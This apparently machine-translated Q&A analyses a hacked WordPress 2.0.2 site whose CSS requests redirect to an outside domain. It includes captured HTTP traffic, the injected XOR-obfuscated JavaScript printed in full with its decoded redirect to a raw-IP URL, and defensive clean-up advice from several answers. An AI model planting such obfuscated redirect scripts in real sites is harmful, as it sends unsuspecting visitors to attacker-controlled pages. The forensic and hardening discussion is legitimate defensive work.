我的一个朋友有使用Wordpress运行的网站(请注意,这不是Wordpress.com上的博客),并且已被黑客入侵。与此同时,他必须与提供恢复备份的网站的公司进行对话。我想知道发生了什么,因为我正在努力学习网络安全,这是一个很好的机会。
我要注意的第一件事是,即使有HTML引用的CSS文件,网页也没有样式。我尝试导航到其中一个文件,但我被重定向到名为 tonycar.com 的网站。
Wordpress版本是2.0.2,正如我在html <meta name="generator" content="WordPress 2.0.2" />
所以,就像这样:
请求http://myfriendwebsite.net/:
GET http://myfriendwebsite.net/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: myfriendwebsite.net
响应:
HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 22:05:28 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.17
X-Pingback: http://www.myfriendwebsite.net/wordpress/xmlrpc.php
Set-Cookie: bb2_screener_=1308607528+213.191.238.24; path=/
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
响应包含HTML代码。现在网站试图获取CSS文件,这就是第一个例子:
请求:
GET http://www.myfriendwebsite.net/wordpress/wp-content/themes/myfriendwebsite/includes/core.css HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.myfriendwebsite.net
Connection: Keep-Alive
Cookie: bb2_screener_=1308607528+213.191.238.24
响应:
HTTP/1.1 302 Found
Date: Mon, 20 Jun 2011 22:05:29 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://tonycar.com/r/404.php?213.191.238.24
Content-Length: 402
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://tonycar.com/r/404.php?213.191.238.24">here</a>.</p>
<hr>
<address>Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.myfriendwebsite.net Port 80</address>
</body></html>
这会重定向到http://tonycar.com/r/404.php?213.191.238.24
,这就是:
请求:
GET http://tonycar.com/r/404.php?213.191.238.24 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive
响应
HTTP/1.1 302 Moved Temporarily
Date: Mon, 20 Jun 2011 22:05:42 GMT
Server: Apache
Set-Cookie: xxx=xxx; expires=Mon, 20-Jun-2011 23:05:42 GMT
Location: go.php?dd41dcd4bcb38e25c529f150f00ecf95
Content-Length: 0
Connection: close
Content-Type: text/html
新的重定向,最后:
请求
GET http://tonycar.com/r/go.php?dd41dcd4bcb38e25c529f150f00ecf95 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive
响应
HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 22:05:44 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
2da
<script language=JavaScript>HaSyJGVMNHBHlTVzQCrn1 = "=rbshqu!uxqd<#udyu.k`w`rbshqu#?w`s!yyy<#iuuq;..099/338/81/76.hoedy/qiq>nbu0l<GD1RkCgHj1`NhvxLBXxWSiPY'OV6D<DVBWTJ@ycH1W[WBynVGSOS'6uj<106IVBH'ix<$3GY'nmQ<D5$3CYmyWUTu4J2['JwR2<Q1QFE7N00C8X1778NBXN9Q7B1E8'o3<l5sYRW@SGmeNh@uD'twff<$3CXDyfN2WJgj1KQmD5PmKJEUOx`o9@[f[1@2XNLUHvHf$2E$2E'07<0[R3F893K60'[Wh<BjHJh1rP@9tHDn#:enbtldou/mnb`uhno/isdg<yyy:=.rbshqu?";PIIupfVDlgksHCrQJMcW2 = "";for (TdeFxzFOBwBRFKLvqgyb3 = 0; TdeFxzFOBwBRFKLvqgyb3 < HaSyJGVMNHBHlTVzQCrn1.length; TdeFxzFOBwBRFKLvqgyb3 ++) { PIIupfVDlgksHCrQJMcW2 = PIIupfVDlgksHCrQJMcW2+ String.fromCharCode (HaSyJGVMNHBHlTVzQCrn1.charCodeAt (TdeFxzFOBwBRFKLvqgyb3) ^ 1); }; document.write (PIIupfVDlgksHCrQJMcW2);</script>
0
经过一些工作后,我发现这个邪恶的javascript函数会生成这个并将其写入文档:
<script type="text/javascript">
var xxx="http://188.229.90.67/index.php?oct1m=FE0SjBfIk0aOiwyMCYyVRhQX&NW7E=EWCVUKAxbI0VZVCxoWFRNR&7tk=017HWCI&hy=%2FX&olP=E4%2BXlxVTUt5K3Z&KvS3=P0PGD6O11B9Y0669OCYO8P6C0D9&n2=m4rXSVARFldOiAtE&uvgg=%2BYExgO3VKfk0JPlE4QlJKDTNyan8AZgZ0A3YOMTIwIg%3D%3D&16=1ZS2G982J71&ZVi=CkIKi0sQA8uIEo";
document.location.href=xxx;
</script>
基本上,它声明了一个String,然后解码它:
varA="crazy encoding string"
varB = "";
for (varC = 0; varC < varA.length; varC ++)
{
varB = varB+ String.fromCharCode (varA.charCodeAt (varC) ^ 1);
};
document.write(varB);
所以再次,一个新的重定向,但我看不到Fiddler上的请求我不知道为什么,也许是因为IE9不明白或者是什么? :S我无法解码查询字符串的那些参数,可能是因为它们是预期的名称和值(或不是)。
这次黑客攻击的目的是什么?他们想要实现什么目标?
这怎么可能?我理解什么是XSS攻击(直接,反射和基于DOM),但这与此无关。服务器返回精心设计的响应,而不是所需的CSS文件。 CSS文件应该是Web服务器在没有PHP或Wordpress操作的情况下返回的静态文件,所以?
答案 0 :(得分:3)
这种事情在WordPress网站上非常非常,你也可以在其他流行的网络应用程序上看到它。
基本上,自动机器人找到一个劫持的网站,并尝试一些众所周知的漏洞利用。如果有人工作,他们就会在您的网站上嵌入一些废话,如您所见。
他们所做的是创建指向返回其网站的字词的链接。这是为了增加他们的网页排名,而不是搜索引擎。这个想法是,如果50,000个破损的WordPress网站将“伟哥”这个词与“my-viagra-pharmacy.info”相关联,那么当人们搜索“伟哥”时谷歌将会提升该网站。
它一直在发生。搜索eval()
的PHP文件可能会出现一些“邪恶”(ha!pun)代码行。
答案 1 :(得分:1)
对发生的事情进行了很好的分析。搜索所有主题php文件并替换所有WP核心文件/文件夹。
谁是网站托管服务商?
并查看How to completely clean your hacked wordpress installation和How to find a backdoor in a hacked WordPress以及Hardening WordPress « WordPress Codex。
答案 2 :(得分:1)
我不知道wordpress的具体细节,但我会先调查实际的文件权限。对我来说,似乎有人能够在wordpress / wp-content / themes / myfriendwebsite / includes /目录中放置.htaccess。我不能轻易想到强制302重定向应该是静态内容(.css文件)的另一种方法。实际上,我认为未经授权的用户无法将此类文件上传到该目录。我认为更有可能是同一服务器上的其他人(我假设它是共享主机)发现该目录是可写的。检查该目录的权限,并确保系统中的每个人都无法写入。
答案 3 :(得分:1)
我不使用WordPress,但我也对此感兴趣。
有你:
存在某种内部重定向,这意味着要么注入代码,要么添加文件,要么修改现有文件。最简单的方法是:
grep
您的文件中有一些可识别的文字,例如tonycar.com
。正如您所指出的那样,他们可能会对其进行模糊处理,因此您可能需要使用其他定位技术,例如...... 注意到的是他们正在使用cookie信息,您是否尝试访问禁用cookie的网站以查看是否可能存在不安全因素?